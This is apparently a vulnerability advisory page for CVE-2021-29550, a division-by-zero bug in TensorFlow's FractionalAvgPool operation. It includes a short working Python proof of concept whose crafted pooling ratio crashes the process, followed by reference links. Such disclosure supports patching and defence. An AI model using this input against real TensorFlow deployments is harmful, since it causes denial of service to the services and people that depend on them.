CVE-2021-29550: Division by 0 in `FractionalAvgPool`
(updated )
An attacker can cause a runtime division by zero error and denial of service in tf.raw_ops.FractionalAvgPool:
import tensorflow as tf
value = tf.constant([60], shape=[1, 1, 1, 1], dtype=tf.int32)
pooling_ratio = [1.0, 1.0000014345305555, 1.0, 1.0]
pseudo_random = False
overlapping = False
deterministic = False
seed = 0
seed2 = 0
tf.raw_ops.FractionalAvgPool(
value=value, pooling_ratio=pooling_ratio, pseudo_random=pseudo_random,
overlapping=overlapping, deterministic=deterministic, seed=seed, seed2=seed2)
References
- github.com/advisories/GHSA-f78g-q7r4-9wcv
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-478.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-676.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-187.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/548b5eaf23685d86f722233d8fbc21d0a4aecb96
- github.com/tensorflow/tensorflow/security/advisories/GHSA-f78g-q7r4-9wcv
- nvd.nist.gov/vuln/detail/CVE-2021-29550
Code Behaviors & Features
Detect and mitigate CVE-2021-29550 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →